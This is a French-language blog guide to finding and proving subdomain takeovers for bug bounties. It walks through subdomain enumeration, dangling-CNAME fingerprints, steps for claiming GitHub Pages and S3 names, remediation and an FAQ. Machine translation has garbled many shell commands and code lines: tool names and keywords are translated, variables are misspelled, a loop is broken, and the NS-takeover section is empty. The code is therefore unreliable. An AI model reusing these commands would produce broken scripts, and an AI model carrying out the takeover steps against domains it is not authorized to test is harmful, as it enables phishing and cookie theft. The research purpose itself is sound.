← Retour au blog

Reprise de sous-domaine : guide de détection étape par étape et de preuve de concept

Les prises de contrôle de sous-domaines sont l’une des vulnérabilités de haute gravité les plus fiables et reproductibles dans les programmes de primes aux bogues. Lorsqu'un enregistrement CNAME pointe vers un service non réclamé, tout attaquant peut enregistrer ce service et diffuser du contenu malveillant sous votre domaine de confiance, en volant des cookies, en effectuant du phishing et en contournant les restrictions CORS.

---

Comprendre la reprise de sous-domaine

Pourquoi c'est une gravité élevée

• Vol de cookies — Cookies destinés à .entreprise.com sont envoyés vers le contenu contrôlé par l'attaquant
• Contournement CORS — API faisant confiance *.entreprise.com fera confiance au sous-domaine de l'attaquant
• Phishing — Domaine d'entreprise légitime avec le contenu de l'attaquant = phishing à haute confiance
• Contournement du CSP — Si company.com met sur liste blanche ses propres sous-domaines dans CSP
• Redirection OAuth — Si le sous-domaine est un redirect_uri enregistré
• Envoi par e-mail — Si le sous-domaine est utilisé pour l'envoi d'e-mails (SPF/DMARC)

---

Phase 1 : Découverte des actifs

Énumération des sous-domaines

# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt

# Active brute force
amass enum -active -d target.com -o active_subs.txt

# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

Vérification de la résolution DNS

# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> entreprise.statuspage.io

---

Phase 2 : identification des CNAME en suspens

Vérification manuelle

# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net

# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | tête -20

# Recherchez les « empreintes digitales de reprise » :
# Azure : "Site Web 404 introuvable"
# GitHub Pages : "Il n'y a pas de site GitHub Pages ici"
# Heroku : "Aucune application de ce type"
# AWS S3 : "NoSuchBucket"
# Fastly : "Erreur Fastly : domaine inconnu"

Détection automatisée avec Nuclei

# Nuclei a des modèles de prise de contrôle de sous-domaines intégrés
noyaux -l all_subs.txt -t takeovers/ -silent

# Ou utilisez subjack
allez installer github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

La référence Can-I-Take-Over-XYZ

Le puis-je-prendre-le-xyz le référentiel conserve les empreintes digitales de plus de 500 services. Services clés à vérifier :

Service	Empreinte digitale	Reprendre?
Pages GitHub	"Il n'y a pas de site GitHub Pages ici"	✅ Oui
AWS S3	"Pas de tel seau"	✅ Oui (même région)
Applications Web Azure	"Site Web 404 introuvable"	✅ Oui
Héroku	"Aucune application de ce type"	✅ Oui
Shopify	"Désolé, cette boutique est actuellement indisponible"	✅ Oui
Rapidement	"Erreur Fastly : domaine inconnu"	✅ Oui
Panthéon	"Erreur 404 site inconnu"	✅ Oui
Wordpress.com	"Voulez-vous vous inscrire..."	✅ Oui
Zendesk	"Centre d'aide fermé"	✅ Oui
Surge.sh	"projet introuvable"	✅ Oui

---

Phase 3 : Preuve de concept (sûr)

PoC de reprise des pages GitHub

# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io

# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"

# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target

# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME

# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF

PoC de reprise de compartiment AWS S3

# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com

# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnérable!

# Extrayez la région des en-têtes de réponse ou essayez :
# us-east-1 est la valeur par défaut s'il n'y a pas d'en-tête de région

# Créer un bucket PoC (MÊME NOM que la cible CNAME)
aws s3 mb s3://target-legacy-assets --region us-east-1

# Activer l'hébergement statique
site Web AWS s3 s3://target-legacy-assets \
  --index-document index.html

# Téléchargez un PoC responsable
echo "<h1>PoC de reprise de sous-domaine - Recherche sur la sécurité</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type texte/html --acl public-read

Documenter l'impact

# Démontrer l'accès aux cookies (UNIQUEMENT avec le compte de test que VOUS contrôlez)
# Créez un compte test, définissez des cookies, visitez votre page PoC
# Capture d'écran montrant le contenu du document.cookie
# Cela prouve la portée du vol de cookies

# Document avec captures d'écran :
# 1. Recherche DNS affichant un CNAME pendant
# 2. Réponse par empreinte digitale (NoSuchBucket, etc.)
# 3. Votre page PoC hébergée sur le sous-domaine
# 4. Navigateur affichant le domaine légitime + votre contenu
# 5. (Facultatif) Testez l'accès aux cookies à partir de votre propre compte de test

---

Phase 4 : correctifs permanents

Correction immédiate

1. Supprimez le CNAME pendant — Supprimez l'enregistrement DNS pointant vers le service non réclamé
2. Ou récupérer le service — Réenregistrez le nom d'hôte cible auprès du fournisseur de services
3. Auditez tous les autres sous-domaines pour les enregistrements en suspens similaires

Prévention à long terme

# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # Resolve the CNAME target
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "DANGLING CNAME: $subdomain -> $cnom"
      # Envoyer une alerte
    fi
  fi
fait < subdomains.txt

---

A Records et rachats de NS

Un record de rachats (IP élastiques)

# Vérifiez si un enregistrement pointe vers une adresse IP cloud non allouée
creuser + court api-legacy.target.com
# Retourne : 52.xxx.xxx.xxx

# Vérifiez si l'IP appartient à AWS
boucle https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "importer json,sys; \
  [print(p['préfixe'], p['région'], p['service']) \
  pour p dans json.load(sys.stdin)['prefixes'] \
  si '52.xxx.xxx' dans p.get('ip_prefix','')]"

# Si AWS IP, essayez de la revendiquer en lançant EC2 avec cette IP
# (Ne le faites qu'avec une autorisation explicite)

Prise de contrôle de NS (le plus critique)

---

FAQ

Le rachat d'un sous-domaine est-il toujours une vulnérabilité critique ?

La gravité dépend de la fonction du sous-domaine et du niveau de confiance. Un sous-domaine marketing sans cookies peut être Medium. Un sous-domaine répertorié comme URI de redirection OAuth, approuvé par les politiques CORS ou recevant des cookies étendus au domaine racine est critique. Évaluez toujours les chemins d’attaque réels disponibles pour un attaquant qui contrôle le sous-domaine.

Puis-je reprendre le sous-domaine pendant une recherche sans autorisation ?

Cela dépend entièrement des règles de votre programme de bug bounty. De nombreux programmes autorisent les rachats de PoC avec une page de divulgation responsable. Certains l’interdisent explicitement. En cas de doute, fournissez la preuve DNS (pendant CNAME + réponse d'empreinte digitale) sans prendre le relais. Incluez une capture d'écran de ce que vous serait pouvoir le faire si vous avez enregistré le service.

Combien de temps les programmes doivent-ils corriger ?

Les rachats de sous-domaines doivent être considérés comme critiques : la correction est simple (supprimer l’enregistrement DNS) et le risque d’exploitation réelle par un attaquant est élevé. La plupart des programmes s'attendent à une correction le jour même ou le lendemain pour les prises de contrôle actives de sous-domaines.